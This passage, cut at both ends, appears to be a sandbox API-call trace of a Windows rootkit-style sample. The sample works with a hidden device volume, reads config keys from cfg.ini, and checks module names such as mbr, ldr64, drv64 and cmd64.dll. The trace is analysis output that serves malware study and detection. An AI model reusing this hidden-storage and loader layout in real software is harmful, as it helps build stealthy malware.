AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.028] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.028] IdePortDispatch () returned 0x103 [0122.028] KeWaitForMutexObject () returned 0x0 [0122.028] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.028] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.028] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.028] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.028] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.028] IdePortDispatch () returned 0x103 [0122.028] KeWaitForMutexObject () returned 0x0 [0122.029] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.029] KeLeaveCriticalRegion () [0122.029] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.029] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.029] KeEnterCriticalRegion () [0122.029] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.030] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.030] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.030] KeLeaveCriticalRegion () [0122.030] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.030] KeEnterCriticalRegion () [0122.030] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.030] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.030] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc9610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.030] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.030] KeLeaveCriticalRegion () [0122.030] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.030] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.030] KeEnterCriticalRegion () [0122.030] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.030] ExFreePoolWithTag (P=0xfffffa8003bc9550, Tag=0x0) [0122.030] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.030] KeLeaveCriticalRegion () [0122.030] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.030] ReleaseMutex (hMutex=0xf0) returned 1 [0122.030] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.030] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0122.030] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.030] KeEnterCriticalRegion () [0122.030] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.030] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.030] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.030] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.030] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.030] IdePortDispatch () returned 0x103 [0122.030] KeWaitForMutexObject () returned 0x0 [0122.031] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.031] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.031] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.031] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.031] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.031] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be3e60 [0122.031] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.031] KeLeaveCriticalRegion () [0122.031] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.031] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.031] KeEnterCriticalRegion () [0122.031] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.031] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.031] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.031] KeLeaveCriticalRegion () [0122.031] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.031] KeEnterCriticalRegion () [0122.031] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.031] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.031] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.031] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.031] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.031] IdePortDispatch () returned 0x103 [0122.031] KeWaitForMutexObject () returned 0x0 [0122.031] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.031] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.031] KeLeaveCriticalRegion () [0122.031] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.031] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.031] KeEnterCriticalRegion () [0122.031] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.032] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c14000 [0122.032] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.032] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.032] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.032] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.032] IdePortDispatch () returned 0x103 [0122.032] KeWaitForMutexObject () returned 0x0 [0122.032] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.032] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.032] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.032] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.032] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.032] IdePortDispatch () returned 0x103 [0122.032] KeWaitForMutexObject () returned 0x0 [0122.032] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.032] KeLeaveCriticalRegion () [0122.032] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.033] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.033] KeEnterCriticalRegion () [0122.033] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.033] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.033] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.033] KeLeaveCriticalRegion () [0122.033] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.033] KeEnterCriticalRegion () [0122.033] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.033] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.033] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be3f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.033] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.033] KeLeaveCriticalRegion () [0122.033] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.033] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.033] KeEnterCriticalRegion () [0122.033] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.033] ExFreePoolWithTag (P=0xfffffa8003be3e60, Tag=0x0) [0122.033] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.033] KeLeaveCriticalRegion () [0122.033] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.033] ReleaseMutex (hMutex=0xf0) returned 1 [0122.033] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0122.033] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0122.033] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0122.033] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.033] KeEnterCriticalRegion () [0122.033] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.033] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.033] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.033] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.033] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.033] IdePortDispatch () returned 0x103 [0122.033] KeWaitForMutexObject () returned 0x0 [0122.034] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.034] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.034] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.034] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.034] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.034] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.034] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.034] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.034] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.034] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.034] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.034] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.034] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.034] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.034] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.034] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.034] KeLeaveCriticalRegion () [0122.034] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.034] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0122.034] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.034] KeEnterCriticalRegion () [0122.034] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.034] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.034] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.034] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.034] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.034] IdePortDispatch () returned 0x103 [0122.034] KeWaitForMutexObject () returned 0x0 [0122.034] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.034] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.034] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.034] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.034] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.034] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.034] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.034] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.034] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.034] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.034] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.034] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.034] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.035] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.035] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.035] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.035] KeLeaveCriticalRegion () [0122.035] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.035] ReleaseMutex (hMutex=0x100) returned 1 [0122.035] Sleep (dwMilliseconds=0x2bf20) [0122.041] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6befbc70, dwHighDateTime=0x1d24fa4)) [0122.041] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0122.041] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.041] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.041] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.041] KeEnterCriticalRegion () [0122.041] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.041] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.041] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.041] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.041] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.041] IdePortDispatch () returned 0x103 [0122.041] KeWaitForMutexObject () returned 0x0 [0122.041] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.041] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.041] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.041] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.041] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.041] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be3bb0 [0122.042] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.042] KeLeaveCriticalRegion () [0122.042] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.042] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.042] KeEnterCriticalRegion () [0122.042] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.042] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.042] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.042] KeLeaveCriticalRegion () [0122.042] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.042] KeEnterCriticalRegion () [0122.042] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.042] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.042] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.042] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.042] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.042] IdePortDispatch () returned 0x103 [0122.042] KeWaitForMutexObject () returned 0x0 [0122.042] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.042] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.042] KeLeaveCriticalRegion () [0122.042] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.042] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.042] KeEnterCriticalRegion () [0122.042] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.042] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c17000 [0122.042] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.042] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.042] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.042] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.042] IdePortDispatch () returned 0x103 [0122.043] KeWaitForMutexObject () returned 0x0 [0122.043] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.043] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.043] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.043] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.043] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.043] IdePortDispatch () returned 0x103 [0122.044] KeWaitForMutexObject () returned 0x0 [0122.044] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.044] KeLeaveCriticalRegion () [0122.044] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.044] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.044] KeEnterCriticalRegion () [0122.044] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.044] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.044] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.044] KeLeaveCriticalRegion () [0122.044] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.044] KeEnterCriticalRegion () [0122.044] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.044] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.044] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be3c70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.044] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.044] KeLeaveCriticalRegion () [0122.044] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.044] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.045] KeEnterCriticalRegion () [0122.045] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.045] ExFreePoolWithTag (P=0xfffffa8003be3bb0, Tag=0x0) [0122.045] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.045] KeLeaveCriticalRegion () [0122.045] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.045] ReleaseMutex (hMutex=0xf0) returned 1 [0122.045] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.045] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.045] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.045] KeEnterCriticalRegion () [0122.045] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.045] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.045] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.045] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.045] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.045] IdePortDispatch () returned 0x103 [0122.045] KeWaitForMutexObject () returned 0x0 [0122.045] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.045] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.045] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.045] strncpy (in: 